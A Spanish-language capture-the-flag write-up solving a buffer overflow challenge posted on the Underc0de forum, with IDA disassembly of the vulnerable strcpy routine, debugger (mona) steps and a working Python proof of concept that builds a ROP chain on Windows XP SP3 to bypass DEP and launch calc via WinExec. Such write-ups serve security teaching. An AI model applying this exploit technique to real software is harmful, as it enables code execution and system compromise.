Solución Wargame Buffer Overflow

Mirando un foro llamado Underc0de, específicamente la sección ‘Wargames y retos’ me percaté de un reto que me llamó bastante la atención, este fue publicado el año 2012 y posee tan solo dos ganadores.

El reto consiste en explotar una aplicación, lo cual es la capacidad de poder hacer que un programa vulnerable realice una acción que no estaba prevista.

Manos a la obra

Tras descomprimir el archivo RetoExploit.rar, visualizamos los siguientes archivos:

Si ejecutamos Reto.exe se visualiza el contenido de config.txt:

Por lo cual la finalidad de este programa es mostrar por consola el contenido del archivo config.txt.

¿Cómo funciona el programa?

Una rápida mirada a través de IDA nos muestra la función _main del programa:

.text:00401390
.text:00401390 ; =============== S U B R O U T I N E =======================================
.text:00401390
.text:00401390 ; Attributes: bp-based frame
.text:00401390
.text:00401390 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401390 _main           proc near               ; CODE XREF: ___mingw_CRTStartup+E2p
.text:00401390
.text:00401390 var_42C         = dword ptr -42Ch
.text:00401390 buff_fgets      = byte ptr -428h
.text:00401390 ptr_file        = dword ptr -2Ch
.text:00401390 buff_archivo    = byte ptr -28h
.text:00401390 var_1           = byte ptr -1
.text:00401390 argc            = dword ptr  8
.text:00401390 argv            = dword ptr  0Ch
.text:00401390 envp            = dword ptr  10h
.text:00401390
.text:00401390                 push    ebp
.text:00401391                 mov     ebp, esp
.text:00401393                 sub     esp, 448h
.text:00401399                 and     esp, 0FFFFFFF0h
.text:0040139C                 mov     eax, 0
.text:004013A1                 add     eax, 0Fh
.text:004013A4                 add     eax, 0Fh
.text:004013A7                 shr     eax, 4
.text:004013AA                 shl     eax, 4
.text:004013AD                 mov     [ebp+var_42C], eax
.text:004013B3                 mov     eax, [ebp+var_42C]
.text:004013B9                 call    ___chkstk
.text:004013BE                 call    ___main
.text:004013C3                 mov     dword ptr [esp+4], offset aR_1 ; "r"
.text:004013CB                 mov     dword ptr [esp], offset aConfig_txt ; "config.txt"
.text:004013D2                 call    fopen
.text:004013D7                 mov     [ebp+ptr_file], eax
.text:004013DA                 mov     eax, [ebp+ptr_file]
.text:004013DD                 mov     [esp+8], eax    ; FILE *
.text:004013E1                 mov     dword ptr [esp+4], 3E8h ; int
.text:004013E9                 lea     eax, [ebp+buff_fgets]
.text:004013EF                 mov     [esp], eax      ; char *
.text:004013F2                 call    fgets
.text:004013F7                 lea     eax, [ebp+buff_fgets]
.text:004013FD                 mov     [esp+4], eax    ; char *
.text:00401401                 lea     eax, [ebp+buff_archivo]
.text:00401404                 mov     [esp], eax      ; char *
.text:00401407                 call    strcpy
.text:0040140C                 lea     eax, [ebp+buff_archivo]
.text:0040140F                 mov     [esp+4], eax
.text:00401413                 mov     dword ptr [esp], offset aS ; "%s\n"
.text:0040141A                 call    printf
.text:0040141F                 mov     dword ptr [esp], offset aPause ; "PAUSE"
.text:00401426                 call    system
.text:0040142B                 mov     eax, 0
.text:00401430                 leave
.text:00401431                 retn
.text:00401431 _main           endp
.text:00401431

Como es posible observar el programa abre el archivo config.txt por medio de la función:

fopen(‘config.txt’, ‘r’);

Posteriormente obtiene su contenido:

fgets(buff_fgets, sizeof(buff_fgets), ptr_file);

Y finalmente copia el contenido en un nuevo buffer:

strcpy(buff_archivo, buff_fgets);

La aplicación es susceptible a un buffer overflow debido a la función strcpy, la cual no posee un control del tamaño de la string que es copiada.

Cargamos la aplicación dentro de Immunity Debugger y con el script mona, verificamos las características del ejecutable por medio del comando:

!mona mod

Podemos ver que no posee ningún mecanismo de protección, pero a modo de demostración utilizaremos ROP Gadgets para evitar la protección de windows DEP.

A través de mona creamos un un pattern de 1000 caracteres:

Creamos el exploit por medio de un script en Python:

import struct
from struct import pack

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab...'
payload = junk

f = open('config.txt', 'w')
f.write(payload)
f.close()

Ejecutamos Reto.exe desde el debugger y observamos que se produce una excepción:

Corroboramos con mona el desplazamiento necesario para la sobre-escritura de la estructura EXCEPTION_REGISTRATION_RECORD:

Por lo cual ya podemos crear la estructura base del payload:

[Junk][nSEH][SEH][NOPs][Shellcode]

Ahora queda buscar ROP Gadgets que logren redireccionar el flujo del programa (PC) desde SEH a nSEH y que estos no se encuentren contenidos en ejecutables, módulos o dll’s que tengan SafeSEH habilitado:

Dado que no se encontró ningún ROP Gadget en mi sistema, cambiaré de tipo de exploit BoF SEH a un BoF normal, pero antes por medio del argumento pattern_create de mona y el código generado por IDA hay que buscar el tamaño máximo de caracteres permitidos por el programa antes que se convierta en un BoF SEH.

Tras un par de comprobaciones descubrimos que el tamaño máximo caracteres son 175. Por lo cual tenemos un cantidad reducida de bytes para poder demostrar por medio de un PoC que la aplicación es vulnerable y al mismo tiempo lidiar con la protección DEP del sistema operativo.

Prueba de concepto (PoC)

El siguiente script crea una cadena de ROP Gadgets que ejecutan por medio de la API WinExec la calculadora de Windows:

# Operating system = Microsoft Windows XP Profesional Version 2002 Service Pack 3
# Language         = Spanish
# Author           = UND3R
# Size             = 80 bytes
# WinExec(calc, -1)

import struct
from struct import pack

junk = 'A' * 44
eip = pack("<I",0x7c91120f) 	# ntdll.dll | RETN
rop1 = pack("<I",0x7c912486) 	# ntdll.dll | POP EDI / RETN
rop2 = pack("<I",0x7c91120f) 	# ntdll.dll | RETN
rop3 = pack("<I",0x7c911d52) 	# ntdll.dll | POP ESI / RETN
rop4 = pack("<I",0x7c8623ad) 	# kernel32.dll | WinExec
rop5 = pack("<I",0x7c80dfdd) 	# kernel32.dll | POP EBX / RETN
rop6 = pack("<I",0xffffffff)
rop7 = pack("<I",0x7c95d22b) 	# ntdll.dll | PUSHAD / RETN
rop8 = 'calc'

payload = junk + eip + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8

f = open('config.txt', 'w')
f.write(payload)
f.close()

No tan solo podemos limitarnos a la ejecución de una calculadora, si no que también podemos iniciar CMD:

Conclusión

Como conclusión podemos observar un sencillo reto de buffer overflow que pone a prueba la capacidad de ejecutar código arbitrario dentro de una aplicación con un buffer reducido de bytes. La aplicación de este tipo de vulnerabilidades en la vida real no tienen como finalidad la ejecución de una calculadora o una consola, si no que mas bien la ejecución de un potente payload como por ejemplo Meterpreter de Mestaploit, el cual podría poner en completo riesgo al sistema afectado.

Compartir

Agregar un comentario